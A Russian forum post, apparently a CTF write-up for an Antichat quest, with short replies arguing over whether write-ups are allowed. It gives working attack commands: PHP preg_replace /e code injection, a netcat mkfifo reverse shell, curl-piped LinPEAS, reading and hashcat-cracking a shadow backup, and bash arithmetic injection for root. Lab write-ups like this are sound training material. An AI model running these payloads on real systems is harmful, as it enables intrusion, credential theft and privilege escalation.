![]() |
Всем привет!
Сегодня разберем квест "Черновик" с платформы Antichat. В этом райтапе я постараюсь изложить решение таска наиболее подробно. Итак, приступим! Поиск точки входа Заходим на первый IP, открываем код страницы, видим что есть спрятанная (hidden) область: https://forum.antichat.xyz/attachmen...9bb14e53ff.png Убираем hidden, появляется форма замены слова. Пробуем изменить "hacker" на "codeby"... Успешно. Идем смотреть скрипт, выполняющий замену: https://forum.antichat.xyz/attachmen...4ce72e74b1.png Видим, что после отправки наше замененное слово "hacker", обрамляется в "/hacker/". Возвращаемся назад, пробуем заменить "/hacker/" на "codeby". Как результат, видим ошибку функции preg_replace(): https://forum.antichat.xyz/attachmen...9f2fc89baf.png Ищем в гугле эксплоиты preg_replace. Находим, что для выполнения кода нужно использовать обрамление "/hacker/e", что невозможно сделать через скрипт на сайте (получится "//hacker/e/"). Поэтому открываем postman, делаем POST запрос, где в теле 'x-www-form-urlencoded' проставляем следующие значения: pattern = "/hacker/e", replace = system('whoami') (сам исполняемый код), paragraph = 1 (указываем с какого параграфа делать замену). Если в ответе получили www-data, значит все ок. Настройка Reverse Shell Если у Вас белый IP, то пробрасывайте порт 4444 (с ним будем работать дальше). Иначе используйте ngrok. Запускаем netcat на нашем устройстве Код:
nc -lvnp 4444Я остановился на Код:
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc my-ip 4444 >/tmp/fЗаливаем шелл командой: Код:
system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc my-ip 4444 >/tmp/f')Проверяем соединение вводом команды: "whoami". Если ответ "www-data", то все ок. Далее настроим наш терминал. Вводим команду Код:
python -c 'import pty; pty.spawn("/bin/bash")'Ищем уязвимости Плутать по серверу и искать уязвимости вручную - это долго и глупо. Для этого есть утилита LinPEAS. Просто вводим команду Код:
curl -L https://github.com/carlospolop/PEASS-ng/releases/download/20230731-452f0c44/linpeas.sh | shОткроем: Код:
cat /etc/shadow.backupБрутим пароль Смотрим формат строки в файле: Код:
$6$xxxxxx$00000000000000000000:14715:0:99999:7:::Все, что между вторым и третьим символом доллара ($) - это соль. Все, что дальше него до двоеточия ":" - это хэш. Все, что дальше двоеточия включительно нам не нужно. Раз есть хэш, то надо брутить! Создаем файл hash.txt и вводим туда наш хэш не оставляя пробелов до или после самого хэша. Запускаем Брут командой Код:
hashcat -m 1800 -a 0 -o crack.txt --remove hash.txt /usr/share/wordlists/rockyou.txtЧерез несколько минут получаем пароль. https://forum.antichat.xyz/attachmen...b26f429b98.png Теперь подключаемся ко второму IP по ssh командой: Код:
ssh derek@62.173.140.174 -p 18722Код:
cat first_partСохраняем первую часть в блокноте. https://forum.antichat.xyz/attachmen...be4c190b76.png Повышаем привилегии Первую часть флага мы получили, неплохо бы и вторую отыскать . Для этого будем повышать наши права на сервере до root'а. Выполнив Код:
sudo -l. На первый взгляд ничего интересного, но он уязвим, иначе он бы здесь не оказался (так еще и с правами выполнения ), поэтому вбиваем в гугл следующее: "bash -eq exploits". Сразу видим, что мы не ошиблись: арифметика в bash'е в самом деле уязвимая. Путем перехода на первую же ссылку видим нужный нам пример повышения привилегий. Запускаем наш guessNum.sh. Копируем пример с сайта, но вводим, понятное дело, не Код:
a[$(/bin/sh >&2)]+42Код:
[$(ls /root/ >&2)]+1337И мы видим наш последний файл! Открываем его командой Код:
a[$(cat /root/last_part >&2)]+1337Соединяем две части флага и сдаем. Спасибо за прочтение! Если есть пожелание или критика - пишите! |
Вррайтапы на квесты запрещены же.
|
Цитата:
Кроме того, на форуме есть и другой врайтап по квесту, его не банят. Так что, если это запрещено админами - удаляю |
Пост из группы в телеге.
|
Цитата:
|
| Время: 23:56 |